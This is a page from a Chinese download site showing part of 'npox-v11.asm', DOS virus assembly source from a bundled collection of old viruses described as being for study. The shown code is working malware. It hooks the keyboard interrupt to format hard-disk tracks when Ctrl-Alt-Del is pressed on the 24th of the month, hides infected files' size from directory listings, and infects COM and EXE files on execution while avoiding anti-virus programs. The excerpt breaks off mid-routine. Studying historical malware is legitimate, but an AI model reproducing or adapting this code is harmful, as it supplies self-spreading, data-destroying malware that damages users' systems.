⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 npox-v11.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
;                       Int 9 Handler                                      
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
int9_handler:                                  ;Every TIME a KEY is pressed
                push    ax                     ;This ROUTINE is called!    
                in      al,60h                 ;Has the user attempted a   
                cmp     al,del_code            ;CTRL-ALT-DEL               
                je      warm_reboot            ;Yes! Screw him             
bye_bye:        pop     ax                                                 
                jmp     dword ptr cs:[int9]    ;Nope, Leave system alone   
warm_reboot:                                                               
                mov     ah,2ah                 ;Get Date Please            
                int     21h                                                
                cmp     dl,18h                 ;Is it 24th of the Month?   
                jne     bye_bye                ;Yes, bye_Bye HD            
                mov     ch,0                                               
hurt_me:        mov     ah,05h                                             
                mov     dh,0                                               
                mov     dl,80h                 ;Formats a few tracks...    
                int     13h                    ;Hurts So good...           
                inc     ch                                                 
                cmp     ch,20h                                             
                loopne  hurt_me                                            
                db      0eah,0f0h,0ffh,0ffh,0ffh  ;Reboot!                 
                iret                                                       
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                       Dir Handler                                        
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
dir_handler:                                                               
                pushf                                                      
                push    cs                                                 
                call    int21call              ;Get file Stats             
                test    al,al                  ;Good FCB?                  
                jnz     no_good                ;nope                       
                push    ax                                                 
                push    bx                                                 
                push    es                                                 
                mov     ah,51h                 ;Is this Undocmented? huh...
                int     21h                                                
                                                                           
                mov     es,bx                                              
                cmp     bx,es:[16h]                                        
                jnz     not_infected           ;Not for us man...          
                mov     bx,dx                                              
                mov     al,[bx]                                            
                push    ax                                                 
                mov     ah,2fh                 ;Get file DTA               
                int     21h                                                
                                                                           
                pop     ax                                                 
                inc     al                                                 
                jnz     fcb_okay                                           
                add     bx,7h                                              
fcb_okay:       mov     ax,es:[bx+17h]                                     
                and     ax,1fh                 ;UnMask Seconds Field       
                xor     al,1dh                 ;Is in 58 seconds?          
                jnz     not_infected           ;Nope...                    
                and     byte ptr es:[bx+17h],0e0h                          
                sub     es:[bx+1dh],virus_size    ;Yes minus virus size    
                sbb     es:[bx+1fh],ax                                     
not_infected:   pop     es                                                 
                pop     bx                                                 
                pop     ax                                                 
no_good:        iret                                                       
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
;                       Int 21 Handler                                     
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- 
int21_handler:                                                             
                cmp     ax,4b00h               ;File executed              
                je      execute                                            
                cmp     ah,11h                 ;Dir handler                
                je      dir_handler                                        
                cmp     ah,12h                 ;Next file Dir handler      
                je      dir_handler                                        
                cmp     ax,7bcdh               ;Virus testing              
                jne     int21call                                          
                jmp     execute                                            
int21call:                                                                 
                jmp     dword ptr cs:[int21]   ;Split...                   
execute:                                                                   
                push    ax                                                 
                push    bx                                                 
                push    cx                                                 
                push    dx                                                 
                push    si                                                 
                push    di                                                 
                push    es                                                 
                push    ds                                                 
                                                                           
                cmp     ax,7bcdh               ;Was Virus testing if it was
                jne     continue               ;Alive? If No Continue      
                push    cs                                                 
                pop     ds                     ;If Yes, Check if COMMAND.CO
                mov     dx,offset command      ;Is infected! And return    
                jmp     continue2                                          
continue:                                                                  
                call    check_name             ;Make sure file executed    
                jc      exit_now               ;Ain't a Anti-Viral program 
continue2:                                     ;With the CRC-32 checkers   
                mov     ax,4300h               ;Get file Attribs           
                int     21h                                                
                jc      exit                                               
                                                                           
                test    cl,1h                  ;Make sure there normal     
                jz      open_file              ;Okay there are             
                and     cl,0feh                ;Nope, Fix them...          
                mov     ax,4301h               ;Save them now              
                int     21h                                                
                jc      exit                                               
                                                                           
open_file:      mov     ax,3D02h                                           
                int     21h                    ;Open File to Infect please 
                                                                           
                jc      exit                   ;Error Split                
                mov     bx,ax                  ;BX File handler            
                mov     ax,5700h               ;Get file TIME + DATE       
                int     21h                                                
                                                                           
                mov     al,cl                                              
                or      cl,1fh                 ;Un mask Seconds            
                dec     cx                     ;60 seconds                 
                dec     cx                     ;58 seconds                 
                xor     al,cl                  ;Is it 58 seconds?          
                jz      exit                   ;File already infected      
                                                                           
                push    cs                                                 
                pop     ds                                                 
                mov     word ptr ds:[old_time],cx       ;Save Time         
                mov     word ptr ds:[old_date],dx       ;Save Date         
                                                                           
                mov     ah,3Fh                                             
                mov     cx,20h                                             
                mov     dx,offset ds:[buffer]  ;Read first 20h bytes       
                int     21h                                                
                                                                           
                jc      exit_now               ;Error Split                
                mov     ax,4202h               ;Move file pointer to end of
                xor     cx,cx                  ;file...                    
                xor     dx,dx                                              
                int     21h                                                
                                                                           
                jc      exit_now                       ;Error Split        
                cmp     word ptr cs:[buffer],5A4Dh     ;Is file an EXE?    
                je      exe_file                       ;JMP to EXE Infector
                mov     cx,ax                                              
                sub     cx,3                           ;Set the JMP        
                mov     word ptr cs:[jump_address+1],cx                    
                call    infect_me                      ;Infect!            
                jc      exit_now                       ;error split        
                mov     ah,40h                         ;Write back the firs
                mov     dx,offset ds:[jump_address]    ;bytes              
                mov     cx,3h                                              
                int     21h                                                
exit_now:                                                                  
                mov     cx,word ptr cs:[old_time]      ;Restore old time   
                mov     dx,word ptr cs:[old_date]      ;Restore Old date   
                mov     ax,5701h                                           
                int     21h                                                
exit_now2:                                                                 
                mov     ah,3Eh                                             
                int     21h                     ;Close File now...         
exit:                                                                      
                pop     ds                                                 
                pop     es                                                 
                pop     di                                                 
                pop     si                                                 
                pop     dx                                                 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -